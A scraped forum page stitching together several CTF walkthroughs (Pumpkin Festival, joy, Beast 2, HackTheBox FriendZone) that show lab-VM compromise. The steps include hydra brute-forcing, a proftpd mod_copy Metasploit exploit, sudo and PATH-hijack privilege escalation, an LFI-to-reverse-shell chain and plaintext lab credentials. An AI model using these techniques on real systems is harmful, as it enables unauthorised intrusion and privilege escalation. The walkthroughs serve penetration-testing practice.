![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-0GLMtp084oA/XThW3mISgXI/AAAAAAAAfgQ/cOkVkVs1TOoHwrmoFMGFhMpj0Sdu0p9gwCLcBGAs/s1600/6.png?w=687&ssl=1)
After that, we accessed the pumpkin.local from the browser it came out to be another WordPress site and got one more flag 06c3eb12ef2389e2752335beccfb2080.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-73KNF8Xxvo4/XThW380rLHI/AAAAAAAAfgU/LX-G_qQNyGYcvX3vh9fv7HIyJO9tfEXqwCLcBGAs/s1600/7.png?w=687&ssl=1)
Token 4:
There is one more directory which we got from the Nmap scan named /tokens.
We couldn’t find anything inside this directory using different directory brute-forcing tool but we were still curious that there must be something inside this directory. So we did a number of hit and trials and finally got our fourth token 2c0e11d2200e2604587c331f02a7ebea in token.txt.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-oe5aNGzyCTA/XThWved_fRI/AAAAAAAAfe4/HL_vGotKjN0_C00zD3mbYeKtYUHpFq3dgCLcBGAs/s1600/11.png?w=687&ssl=1)
Token 5:
Since we have a WordPress site running under pumpkins.local domain name, we tried wpscan and got a file named readme.html.
wpscan --url [To see content please register here] -e at -e ap -e u
1
wpscan --url [To see content please register here] -e at -e ap -e u
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-030y2Eq0Jnk/XThWvA81SGI/AAAAAAAAfe0/AbGDqsbCGVkwxqu_rSykQae5_Cn-meEDQCLcBGAs/s1600/12.png?w=687&ssl=1)
We also got two usernames admin & morse for the WordPress site which we will use to access the admin login of the site later on.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-BAzb7H0nDoE/XThWxbqN32I/AAAAAAAAffU/Yc7_jMzdkk04xWNL5KWWbACd8XOQnLahwCLcBGAs/s1600/18.png?w=687&ssl=1)
After accessing the URL pumpkins.local/readme.html we got some code.
We tried to crack it online and it was a base62 code which gave us a password Ug0t!TrIpyJ for user morse & jack.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-s52JP4jcTLo/XThWwzcJ10I/AAAAAAAAffI/bbuo25dc6l4K0EyE7CeSCksYzx5PTeXSACLcBGAs/s1600/14.png?w=687&ssl=1)
As we have got the password for the morse, we logged in to the wp-admin and got our 5th token 7139e925fd43618653e51f820bc6201b
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-pnieavhjaNU/XThWyW8Gu7I/AAAAAAAAffY/_nmXYAIBmE4E_0SBDfurGeINoty9e7oNQCLcBGAs/s1600/19.png?w=687&ssl=1)
Token 6:
Since we have one more wp-admin user named admin and if you remember we also have got a keyword earlier named Alohomera! we tried this as our password to login into a WordPress site and were successfully able to do so and eventually got our 6th token f2e00edc353309b40e1aed18e18ab2c4
![[Image: 30.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-8_nWqEe0IyI/XThW2exogNI/AAAAAAAAfgA/hBR22WhyI6ok1rG8y-pCmAlkkDYmy0t7QCLcBGAs/s1600/30.png?w=687&ssl=1)
Token 7:
It’s always a good practice to use multiple tools for bruteforcing to get more reliable and add on results. We used DirBuster to bruteforce the URL [To see content please register here] and got one more directory named license.txt Accessing the same directory in the browser gave us one more token 5ff346114d634a015ce413e1bc3d8d71
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3GowC0ZtpBA/XThWwjTKBJI/AAAAAAAAffE/zpMcdJvdVBY_-6w_V6YggfwopQYDCQjnQCLcBGAs/s1600/15.png?w=687&ssl=1)
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-MAAh9iU5TwA/XThWxR6ai0I/AAAAAAAAffM/q7IiABIBhU8tmbqbfyILR2QKtEQMWlqkQCLcBGAs/s1600/16.png?w=687&ssl=1)
Accessing the same directory in the browser gave us one more token 5ff346114d634a015ce413e1bc3d8d71
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-8X3dewMlH54/XTlp8oBWH3I/AAAAAAAAfg4/2zSd16fNH2MJztiUGJ9LP9f6gVgHirItQCLcBGAs/s1600/17.png?w=687&ssl=1)
Token 8:
We have a total of four users admin, morse, jack & harry with passwords only for only three.
So we tried to get the password of harry by bruteforcing using hydra. We got a password yrrah.
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.101 ftp -e nsr
1
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.101 ftp -e nsr
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-1r_cApaIiPk/XThWy3r2UHI/AAAAAAAAffg/pfWkj4f-SO06XDQuyzJIGcocsLwUB_Z7wCLcBGAs/s1600/20.png?w=687&ssl=1)
We logged into ftp of the target machine using these credentials and found the 8th token ba9fa9abf2be9373b7cbd9a6457f374e
ftp 192.168.1.101
ls
get token.txt
bye
cat token.txt
1
2
3
4
5
ftp 192.168.1.101
ls
get token.txt
bye
cat token.txt
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-dWsdBewLhPY/XThWzUnF2iI/AAAAAAAAffk/txWYxY7wrUUSXVwGpaTox67ZA-BboTRjACLcBGAs/s1600/21.png?w=687&ssl=1)
Token 9:
In the above screenshot you can see that there is a directory named /Donotopen , we went inside this directory and found another directory named /NO and after a lot of traversing we finally found the file name token.txt. We downloaded the file into our system and got the 9th token 8d66ef0055b43d80c34917ec6c75f706
cd Donotopen
ls
cd NO
cd NOO
cd NOOO
cd NOOOO
get token.txt
bye
cat token.txt
1
2
3
4
5
6
7
8
9
cd Donotopen
ls
cd NO
cd NOO
cd NOOO
cd NOOOO
get token.txt
bye
cat token.txt
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-aHqKzN0EZ3g/XThWzvIFwII/AAAAAAAAffo/Q6RWdc5c4lw-FeA5uo_QeayTVm8kpKLTwCLcBGAs/s1600/22.png?w=687&ssl=1)
Token 10:
It’s time to get the 10th token. Let’s HUNT!
From the above screen you might have seen there is one more directory /NOOOOO and after some traversing found a file data.txt. We downloaded the file into our kali and found some random codes inside.
cd NOOOOOO
bye
get data.txt
1
2
3
cd NOOOOOO
bye
get data.txt
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-gZXCrYEVesY/XThWzmLKorI/AAAAAAAAffs/Je83PVlRwokty0QWEEdui6noa8p2RWzvwCLcBGAs/s1600/23.png?w=687&ssl=1)
We checked for the file type and it is tar file. We untar the file and got another file data.
That file also came out to be a zip file and after unzipping we got a file key and after untaring that, we finally got a file named jack which had hexdump inside.
file data.txt
tar vxf data.txt
tar xjf data
tar vxf key
cat jack
1
2
3
4
5
file data.txt
tar vxf data.txt
tar xjf data
tar vxf key
cat jack
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-yEyWlgL6ZgM/XThW0Uojy8I/AAAAAAAAffw/rbALCQ8RId4t0P4YCvlLmpHJNY8ycicFwCLcBGAs/s1600/24.png?w=687&ssl=1)
Then we used xxd to covert and patch the hexdump into binary.
We got an ssh private key.
xxd -r -p jack
1
xxd -r -p jack
![[Image: 25.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-80WzyO1nA5A/XThW05Dz73I/AAAAAAAAff0/mMVyUPeWCI0Mstau0Q5jtx-CMQtxwGM7gCLcBGAs/s1600/25.png?w=687&ssl=1)
As we have got an ssh key, what we did is we used this key to ssh login the target machine on port 6808 with user jack.
After successful login we found our final and 10th token 8d66ef0055b43d80c34917ec6c75f706
chmod 600 sshkey
ssh [email protected] -i sshkey -p 6880
file token
./token
sudo -l
1
2
3
4
5
chmod 600 sshkey
ssh [email protected] -i sshkey -p 6880
file token
./token
sudo -l
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-c1GPPh3Ul6U/XThW1N9o8xI/AAAAAAAAff4/y5-SVwi-pbUhCDuBkaicznjXzAWVjuD9QCLcBGAs/s1600/27.png?w=687&ssl=1)
Privilege Escalation/PumpkinFestival_Ticket:
From the above screenshot, we can see jack has sudoer permission for alohomora file.
Now to get the root shell and then finally get the PumpkinFestival_Ticket we will exploit the sudoer permissions of the jack.
We checked for the pumpkins directory but couldn’t find any, so we created a directory named pumpkins and then using echo command we created a file named alohomora with /bin/bash copied in it.
We then gave it execution permissions and tried to execute the file as sudoer and we successfully got the root shell and eventually the PumpkinFestival_Ticket which completes our challenge.
mkdir pumpkins
echo "/bin/sh" > /home/jack/pumpkins/alohomora
chmod 777 /home/jack/pumkins/alohomora
id
cd /root
ls
cat PumpkinFestival_Ticket
1
2
3
4
5
6
7
mkdir pumpkins
echo "/bin/sh" > /home/jack/pumpkins/alohomora
chmod 777 /home/jack/pumkins/alohomora
id
cd /root
ls
cat PumpkinFestival_Ticket
![[Image: 28.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ROwNCoEOnG4/XThW1_-n1sI/AAAAAAAAff8/OV_D2ULbYxc83o1fzLSKVw_LfXmTRA62gCLcBGAs/s1600/28.png?w=687&ssl=1)
Today we have another CTF post, one more series of Dgitalworld.local named “joy” and the credits goes to Donavan. This is a boot to root challenge available on vulnhub you can download it from the given below link and the CTF is design for OSCP practices.
Download Link: [To see content please register here]
Level: Intermediate
Task: Obtain root shell
Penetration Testing Methodologies
Scanning
Enumeration
Exploit- Exploit proftpd using Metasploit
Privilege Escalation
Walkthrough
Scanning
Let’s start off with the scanning process. This target VM took the IP address of 192.168.1.104 automatically from our local wifi network.
Then, as usual, we used our favourite tool Nmap for port scanning. Here we found that so many ports were opened but port 21 for ftp looks more interesting to me as anonymous login was allowed on the running machine for two directories /upload /download.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-o6ox0kZfUtU/XTfjS2ILq_I/AAAAAAAAfd0/2ApafVxOZiojSQ_PY8K3OaeW5U3p28bvwCLcBGAs/s1600/1.png?w=687&ssl=1)
Enumeration
So, we connect to ftp where here I find two directories /download and /upload. The upload directory has read and write permission whereas the /download has read permission. So, we try to access /download directory and found a file within its named “directory”.
ftp 192.168.1.104
ls
cd download
ls
get directory
1
2
3
4
5
ftp 192.168.1.104
ls
cd download
ls
get directory
Thus, we copied the file named as directories in our local machine.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-bzUlJfX54D8/XTfjTVZ3w2I/AAAAAAAAfd8/8fe9dU28tPMgRXBmCK9BKJxEzyBLVOcaQCLcBGAs/s1600/2.png?w=687&ssl=1)
So, by reading directory file, you will evaluate that, this file gave a brief idea about Patrick’s directory where Patrick should be the user account. In this, we look at a file name “version_control” it could be considered as a suspect.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-eZZrD8aKnAs/XTfjTWaTnmI/AAAAAAAAfeA/RIVm0jJWgT4GmNiN5qg5NGQQX2AteedlwCLcBGAs/s1600/3.png?w=687&ssl=1)
Since the version_control exist inside Patrick’ s directory so we cannot grab the file directly, therefore, I try to transfer version_control file inside /upload directory because it has read/write permission through ftp anonymous login.
telnet 192.168.1.104 21
site cpfr /home/patrick/version_control
site cpto /home/ftp/upload/version_control
1
2
3
telnet 192.168.1.104 21
site cpfr /home/patrick/version_control
site cpto /home/ftp/upload/version_control
Hence you can observe with the help of above command we had copied “version_control” inside /upload folder.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-wv4EaeRrfPk/XTfjTxOYfQI/AAAAAAAAfeE/wXqkEQSUovYJktMBvX9NbLdn2x-20mD3QCLcBGAs/s1600/4.png?w=687&ssl=1)
Further, we navigate to /upload/version_control and found a version of ftp service running on host machine moreover we obtained the path for webroot i.e. /var/www/tryingharderisjoy.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-dKTdHb7YfTQ/XTfjUK1KJwI/AAAAAAAAfeI/Pati5lpXrLwB5k4k52RL16Fbdk_Ap5IZACLcBGAs/s1600/5.png?w=687&ssl=1)
Exploit
So, we search for an exploit for proftpd and found a Metasploit module thus we execute the following command to get a session of the host machine.
use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhosts 192.168.1.104
msf exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/tryingharderisjoy
msf exploit(unix/ftp/proftpd_modcopy_exec) > exploit
1
2
3
4
use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhosts 192.168.1.104
msf exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/tryingharderisjoy
msf exploit(unix/ftp/proftpd_modcopy_exec) > exploit
We successfully obtained the command shell of the remote machine, now it was time for post enumeration to step towards privilege escalation. Thus, we import python one-liner to access proper tty shell and start with directory traversing.
It feels good when we dig-out credential of Patrick from inside the /ossec/patricsecretofjoy.
credentials for JOY:
patrick:apollo098765
root:howtheheckdoiknowwhattherootpasswordis
1
2
patrick:apollo098765
root:howtheheckdoiknowwhattherootpasswordis
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-xwKwLH7lODY/XTfjU4g0eSI/AAAAAAAAfeU/S9LLeMv2T48BQLaMXP6QpeAkiFhc_tRwQCLcBGAs/s1600/6.png?w=687&ssl=1)
Privilege Escalation
Without wasting time, we switch as Patrick and check for its sudo rights if assigned for him. Here we found that Patrick can run /home/patrick/script/test as sudo user. So, when we run the test script, it gave nothing useful as it was a demo to test working bash script thus the file “test” was useless but it own by root user which was doubtful for us.
So we decided to replace /test script with other malicious script but there was no writable permission on /script directory.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-uOIN-cxA13M/XTfjUxmvgkI/AAAAAAAAfeM/4URiYV4Mj50M0aNe5hrE6uePp2dV1lFAgCLcBGAs/s1600/7.png?w=687&ssl=1)
Thus, again we decided to use FTP anonymous login for replacing genuine /test file with bogus /test file which will be a backdoor to provide higher privilege shell.
Therefore, we created a malicious file to get bash shell with the help of command given and named as “test” then try to upload it inside /upload directory since it was a writable folder.
echo "awk 'BEGIN {system(\"/bin/bash\")}'" > test
1
echo "awk 'BEGIN {system(\"/bin/bash\")}'" > test
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-5TeJgk_Nb6w/XTfjU7vSHRI/AAAAAAAAfeQ/ysqL-N_0K-U_ZUrQjIM0tttPnk7sH8-kQCLcBGAs/s1600/8.png?w=687&ssl=1)
Once again with the help of telnet let’s connect to ftp service running on the host machine and execute the following command to inject malicious script “test” inside /home/Patrick/script.
telnet 192.168.1.104 21
site cpfr /home/ftp/upload/test
site cpto /home/patrick/script/test
1
2
3
telnet 192.168.1.104 21
site cpfr /home/ftp/upload/test
site cpto /home/patrick/script/test
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-pJnGdArhLe0/XTfjVt0G39I/AAAAAAAAfeY/Y7sbglge5uwDDpk7SgtB8bnN4jOjNZ51wCLcBGAs/s1600/9.png?w=687&ssl=1)
So now we have injected the malicious file inside /script and user Patrick has sudo right to execute the /script/test as superuser. Now let’s escalate the privilege by execute following command and finish the task assigned by the author.
sudo /home/patrick/script/test
1
sudo /home/patrick/script/test
Hmmmmm!! so we have spawn root shell successfully, now let’s move inside /root directory and grab the proof.txt file and secret file.
cd /root
cat proof.txt
author-secret.txt
1
2
3
cd /root
cat proof.txt
author-secret.txt
|
|
|
|
| [Guide] How to Beast 2: Vulnhub Walkthrough |
|
Posted by: NINZA - 05-14-2020, 05:54 PM - Forum: Carders Home
- Replies (2)
|
|
Today we are going to take another CTF challenge Beast:2. The credit for making this VM machine goes to “Avraham Cohen” and it is a boot2root challenge where we have to root the server and capture the flag to complete the challenge. You can download this VM [To see content please register here] .
Security Level: Beginner
Penetrating Methodology:
- Scanning
- Enumeration
- Exploitation
- Privilege Escalation
Walkthrough:
Scanning:
Let’s start off with the scanning process. This target VM took the IP address of 192.168.1.102 automatically from our local wifi network.
Then, as usual, we used our favourite tool Nmap for port scanning. We found that ssh is open and running two ports 22 and 65022.
nmap -p- -A 192.168.1.102
1
nmap -p- -A 192.168.1.102
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-2XknGH8obkk/XTcCwXUELtI/AAAAAAAAfc0/cqJIBS1Nyak7iK5QXp_hlICuibwsFZF2QCLcBGAs/s1600/1.png?w=687&ssl=1)
We tried to ssh the target with port 65022 and found. It working but we don’t have the username and password yet.
So our next step is to hunt the ssh username and password
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-aHOv870qNMA/XTcCx8apzVI/AAAAAAAAfdE/yWxpKlI7IMEmMAvqsYHgHG--zHOBs4C7QCLcBGAs/s1600/2.png?w=687&ssl=1)
Enumeration:
All we have got is ssh service enabled on the target machine and nothing else. So what we did is we started to capture traffic of the target machine using Wireshark.
We tried different filters and found something useful with UDP filter.
ip.addr==192.168.1.102 && udp
1
ip.addr==192.168.1.102 && udp
![[Image: 00.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-5bVti776VjE/XTcCwoNx17I/AAAAAAAAfc8/VZbNcEJuMbgyKa1Fb5KIS0VTUvRfoxbqgCLcBGAs/s1600/00.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-mdwz_EeP_rg/XTcCx-4eanI/AAAAAAAAfdI/6A2f1W8BeWETalvT1u5p93QuyF_W4UuFACLcBGAs/s1600/4.png?w=687&ssl=1)
We checked with UDP stream and two words got our attention whiteshark & whitepointer which could be the usernames for ssh.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-cN3Vd_1vbds/XTcCyTsWthI/AAAAAAAAfdM/iUHoWmHFrUgRQ1n4Mvta71XZSk-0gbwUQCLcBGAs/s1600/5.png?w=687&ssl=1)
In another captured data packet we found the password Ch@ndr!chthye$.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-5jefO2DWpQk/XTcCymfWV2I/AAAAAAAAfdQ/Xgh7jLeMkkgH1M1iUfewbMcDxfYMHqQEwCLcBGAs/s1600/6.png?w=687&ssl=1)
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-G0SrzvgCzxA/XTcCypqkEeI/AAAAAAAAfdU/JJoWBbe2xCcsKIXkfpJZ1TSH-BYvMSNWgCLcBGAs/s1600/7.png?w=687&ssl=1)
Exploitation:
So far we probably have got two usernames and one password.
We tried to ssh the target with both the usernames one by one but whitepointer & Ch@ndr!chthye$ combination worked for us and we were successfully able to login the target system.
After logging in we checked for sudo rights but the user was not a sudoer.
We also checked for the suid rights for any file and found /usr/bin/root has suid set.
ssh [email protected] -p 65022
find / -perm -u=s -type f 2>/dev/null
1
2
ssh [email protected] -p 65022
find / -perm -u=s -type f 2>/dev/null
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-hCVwiQkII-A/XTcCzIvTOHI/AAAAAAAAfdY/fJg1NFZ5SGoTAuepRFOm0DPfFl5Ve3mJgCLcBGAs/s1600/8.png?w=687&ssl=1)
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-1SXpmAMvhGM/XTcCzXgaTJI/AAAAAAAAfdc/gOe6tcuU-iMzEa8CM8QEyPG34c-xWfciACLcBGAs/s1600/9.png?w=687&ssl=1)
Privilege Escalation:
To elevate to the root shell we will exploit the suid permissions of the /usr/bin/root file. Using the strings command we found root file is actually running the whoami command.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-IbOrdkcfC3Q/XTcCwqn2P7I/AAAAAAAAfc4/LkjM4y8o8t06si7vCjIENi7R63plRivUgCLcBGAs/s1600/10.png?w=687&ssl=1)
We used the path variable methodology to exploit the privileges of the root file. What we did is we created a new file named whoami inside /tmp directory and put /bin/bash inside it using echo command, then gave all privileges to it. We then exported the path.
To know more about Path Variable check our article on the same [To see content please register here]
So after that, once we executed the /usr/bin/root file we successfully got the root shell and then also the flag.txt as anticipated.
cd /tmp
echo "/bin/bash" > whoami
chmod 777 whoami
export PATH=/tmp:$PATH
/usr/bin/root
cd /root
cat flag.txt
1
2
3
4
5
6
7
cd /tmp
echo "/bin/bash" > whoami
chmod 777 whoami
export PATH=/tmp:$PATH
/usr/bin/root
cd /root
cat flag.txt
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-F-hXo2S-Lms/XTcCxP-jm_I/AAAAAAAAfdA/iIz-zgugqZMygOFZzNifVRiMF8SmC01FQCLcBGAs/s1600/11.png?w=687&ssl=1)
FriendZone is a recently retired CTF VM on Hack the Box with the objective – Capture the user and root flag. Hack the Box offers a wide range of VMs for practice from beginner to advanced level and it is great for penetration testers and researchers.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of FriendZone is 10.10.10.123
Penetration Testing Methodologies
Scanning
Enumeration - SMB shared Directory
- DNS Zone Transfer
- MySQL creds
Exploit- LFI to RCE
- Capture the user flag
Privilege Escalation- Abusing Python Library
- Capture the root flag
Walkthrough
Let’s start off with scanning with the nmap to check open ports.
nmap -sC -sV 10.10.10.123
1
nmap -sC -sV 10.10.10.123
From nmap scan we found so many ports are opened such as 22,53,80,443, 445 and several services were available and we noted the SSL certificate is registered as friendzone.red.
![[Image: 0.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-oYi5uyJuBq0/XTXMkcc3EKI/AAAAAAAAfYw/c7NYhKTdYEcCekhVwu58-O5sSBqLp5otwCLcBGAs/s1600/0.png?w=687&ssl=1)
Enumeration
On exploring, vulnerable machine IP in the web browser, it welcomes us with following web page as shown below.
Here also I notice friendzone.red and this could be a clue for proceeding further. As per nmap scan result, port 53 is open for TCP which means there may be some possibilities for DNS Zone Transfer.
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-XzWH0jRYa1I/XTXMkXlPbmI/AAAAAAAAfY0/1tBm5Q8xShIya61W0ItvKjzY45wN0oHvwCLcBGAs/s1600/1.png?w=687&ssl=1)
I didn’t find any other useful information on the home page, so I try to enumerate web directories with the help of DIRB. But this was also not worthwhile for us because the enumerated result was not valuable when further inspected.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-p8KwtmkTCXM/XTXMpp3nsNI/AAAAAAAAfZk/znJWBgxQEHotWTaMPH9zCnOGVuTCYSr9wCLcBGAs/s1600/4.png?w=687&ssl=1)
Consequently, I switch to another enumeration service and it was a null session SMB enumeration. So, with the help of SMBmap, which is a Linux utility, we try to enumerate smb shared directories.
smbmap -H 10.10.10.123
1
smbmap -H 10.10.10.123
I found two shared directories and among those /general had read-only permissions and /Development has read/write both permissions. so, when we accessed /general directory, we obtained a text file named as “creds”.
smbmap //10.10.10.123/general
ls
get creds.txt
1
2
3
smbmap //10.10.10.123/general
ls
get creds.txt
In this file, I found the following credential which could be used later.
admin:WORKWORKHhallelujah@#
1
admin:WORKWORKHhallelujah@#
![[Image: 7.1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-qaaRyiz3dfU/XTXMp4xE24I/AAAAAAAAfZo/e4K8RLN1tPY5I6VnT53mEQMTAY2VFjDzwCLcBGAs/s1600/7.1.png?w=687&ssl=1)
First, I added friendzone.red inside /etc/hosts file but didn’t found any valuable information, therefore I enumerated sub-domain by executing following command and fetch some sub-domains which could be useful in DNS zone transfer.
host -l friendzone.red 10.10.10.123
1
host -l friendzone.red 10.10.10.123
Further, I saved /administrator1.friendzone.red. in the /etc/hosts file for accessing this domain.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-AR0qk0nT9BA/XTXMqCRHbrI/AAAAAAAAfZs/aCNIXcFGf64cvmd-rROzPoeO-zfuMp52gCLcBGAs/s1600/7.png?w=687&ssl=1)
On the exploring administrator1.friendzone.red we got a login portal where I submitted the credential that we have found above.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Qov8Zrq9n5Q/XTXMqVZ30rI/AAAAAAAAfZw/YRlQiyw4QYkxFUg7-_9JZaopBO4MuNEDACLcBGAs/s1600/8.png?w=687&ssl=1)
So, we found another hint “/dashboard.php” which was a web directory.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-soE-E7FPHcM/XTXMqf0kZhI/AAAAAAAAfZ0/BC-O__-BIvoEezrKl9KijVKcOSvul7gBACLcBGAs/s1600/9.png?w=687&ssl=1)
On enumerating /dashboard.php we found following web page; here it gave a message “image_name param is missing”.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Fn02nXuMRBM/XTXMkHOJrKI/AAAAAAAAfYs/GsXlsFUnOFcoLykTnJUhuug090rK4WXyQCLcBGAs/s1600/10.png?w=687&ssl=1)
Therefore, we injected “default is image_id=a.jpg&pagename=timestamp” in the URL and obtain following web page where we notice timestamp, and this looked little suspicious towards LFI.
[To see content please register here]
1
[To see content please register here]
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-kb8v0gvxpI4/XTXMlCJg31I/AAAAAAAAfY4/OwwsCn-P6-wdKIWiYHIQAVRW8TIL_TcHQCLcBGAs/s1600/11.png?w=687&ssl=1)
Exploiting LFI
To ensure that I try to call timestamp.php and by obtaining time stamp on the screen it was confirmed that it is vulnerable to LFI. Now let’s extend LFI to RCE to obtain shell of the host machine.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-TdfGItVXiXw/XTXMlYU-JyI/AAAAAAAAfY8/R6tE2kt681kaspP2pBaaiv-_5oSlY7WQgCLcBGAs/s1600/12.png?w=687&ssl=1)
As we knew that /Development is the only directory that has read/write both permissions, hence we can inject our malicious file inside this directory and execute the backdoor by exploiting LFI to obtain a reverse connection.
Then I have used pentest’s monkey php reverse shell with little modification such $lhost & $lport as a backdoor that to be injected inside the host machine.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ffXhKchxrwo/XTXMlnZKPQI/AAAAAAAAfZA/PX5Vl7XCJ9oZHcbUgQSzaCGYn7hYvWJNQCLcBGAs/s1600/13.png?w=687&ssl=1)
So, we connect to SMB with the help of smbclient and upload the php-reverse-shell inside /Development. Simultaneously we launched netcat listener in a new terminal to obtain a reverse connection from the host machine.
smbclient //10.10.10.123/Development
1
smbclient //10.10.10.123/Development
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Z0MEtXgGG1I/XTXMmKDP5tI/AAAAAAAAfZE/00o-5NgMF5oCATedFUdAUeMOSuzC-blnACLcBGAs/s1600/14.png?w=687&ssl=1)
Then execute the uploaded php backdoor with the privilege of LFI as shown below:
[To see content please register here]
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3zwdqNmZXPE/XTXMmhleafI/AAAAAAAAfZI/I_vsIV4Bk4Mq33hPFb0acwXQNJ28S53sgCLcBGAs/s1600/15.png?w=687&ssl=1)
As soon as we executed above URL in the browser, we have access netcat session and to obtain proper shell we import python pty one-liner and found our 1st flag inside /home/friend.
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-4LWx62W6jFE/XTXMmu7RLdI/AAAAAAAAfZM/8Ua5NPNFtmMRI-nKZ4CTEIdKWVYiLJIUACLcBGAs/s1600/16.png?w=687&ssl=1)
With little more traversing I found credential for user “friend” from inside /var/www/mysql_data.conf
user=friend
pass=Agpyu12!0.213$
![[Image: 17.1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-WweM7SYD0nY/XTXMnD1jnTI/AAAAAAAAfZQ/o5L52i16aKAi9Wc217WRcI4rPiSU9URSACLcBGAs/s1600/17.1.png?w=687&ssl=1)
Privilege Escalation
So, with the help of above-enumerated creds, we try to access ssh and luckily, we connected to ssh and try to identify weak permission file or role for escalating privileges to access root shell or root flag.
ssh [email protected]
1
ssh [email protected]
As I failed to identify any sudo rights or SUID permission files, therefore I go for [To see content please register here] to examine the running process of the machine. Thus, I downloaded the script it inside /tmp directory and gave full permissions.
![[Image: 17.2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-6ak3jLPPMxc/XTXMnp5GxRI/AAAAAAAAfZU/f1KCm0zDQ4UDVx42usYCVZcMGWae8dkfgCLcBGAs/s1600/17.2.png?w=687&ssl=1)
On running pspy64s, we notice that a python is executing by root which was surprising to us.
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ybbI2qMWmRo/XTXModuZQCI/AAAAAAAAfZY/udwYKAB_JKw1jVzcYVsUFjqRkCaf23_2gCLcBGAs/s1600/17.png?w=687&ssl=1)
So, I decided to take a look at what is script was doing, therefore I used the cat command to read what this script is running.
cat /opt/server_admin/reporter.py
1
cat /opt/server_admin/reporter.py
Hmmm! So, I didn’t find any useful operation is being executed by this script other than import a python library “os.py” hence I take its advantage in privilege escalation.
